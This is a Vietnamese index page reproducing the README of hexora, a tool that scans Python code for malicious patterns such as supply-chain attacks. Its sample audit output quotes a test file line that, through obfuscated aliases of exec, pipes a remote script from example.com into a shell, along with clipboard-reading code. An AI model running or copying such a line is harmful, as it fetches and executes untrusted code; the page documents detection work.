Được TopGit lập chỉ mục từ metadata GitHub: rushter/hexora có 167 sao.
Tóm tắt dựng từ metadata GitHub của chính dự án — chưa có bài review TopGit. Trang sẽ tự động cập nhật khi bài review đầy đủ được xuất bản.
VÌ SAO CHƯA CÓ REVIEW
TopGit viết bài đầy đủ cho repo có nhiều sao nhất và được yêu cầu nhiều nhất. Trang này là snapshot trong thời gian chờ — xem README gốc ở tab READ ME.
Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
It combines a rule-based static analysis engine with a machine-learned model that scores entire source files to classify them as malicious or benign.
It can be used to:
Audit project dependencies to catch potential supply-chain attacks
Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
Analyze IoC files from past security incidents
Audit new packages uploaded to PyPi.
Examples
For output examples, please see docs/examples.md file.
Installation
Using Python
Requires Python 3.9+.
pip install hexora
Using uv:
uv tool install hexora
Usage
hexora --help
Audit single file
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
Where python3.11 is the version of the Python in virtual environment.
Tips:
Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
Use --min-confidence to focus on high-confidence findings only.
Confidence indicates how a certain piece of code is malicious.
Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from
malicious ones.
That's why some matches have a low confidence level.
Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are
very confident. For example, code and shell execution can have medium, high, and very high confidence.
This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.
For example, this code will have a high confidence:
globals()["__builtins__"].eval("print(123)")
Usage in Python
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
Testing Against Malicious Dataset
When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.
After cloning, point the benchmarking tool to the dataset directory:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
Trang TopGit này là một snapshot — tab "Readme" hiển thị nguyên văn README của repo (đã bỏ link, giữ ảnh). Repo GitHub ở github.com/rushter/hexora là nguồn chính thức.
rushter/hexora có bao nhiêu sao?
rushter/hexora có 167 sao GitHub — tải lại trang để xem số mới nhất, hoặc xem trực tiếp github.com/rushter/hexora. TopGit phản chiếu số sao của GitHub nhưng không cam kết đến từng phút.
rushter/hexora có phải mã nguồn mở không?
TopGit chưa ghi nhận license cho rushter/hexora. Phần lớn repo public trên GitHub là mã nguồn mở, nhưng điều khoản khác nhau từng repo — mở file LICENSE để xác nhận.
rushter/hexora còn được duy trì không?
TopGit chưa ghi nhận lần push gần đây của rushter/hexora. Xem lịch sử commit trực tiếp trên GitHub để biết thông tin chính xác nhất.
rushter/hexora là gì?
rushter/hexora (rushter/hexora) là dự án đa ngôn ngữ TopGit theo dõi. Tính tới lần đồng bộ gần nhất, repo có 167 sao.
rushter/hexora viết bằng ngôn ngữ gì?
Dữ liệu TopGit chưa ghi nhận ngôn ngữ chính cho rushter/hexora. Xem danh sách file trên GitHub để biết chi tiết.
Đọc đầy đủ README ở tab phía trên.
Vẫn đang phân vân về hexora?
Một cú bấm sẽ gửi câu hỏi kèm trang này cho AI — xem AI nói gì về hexora.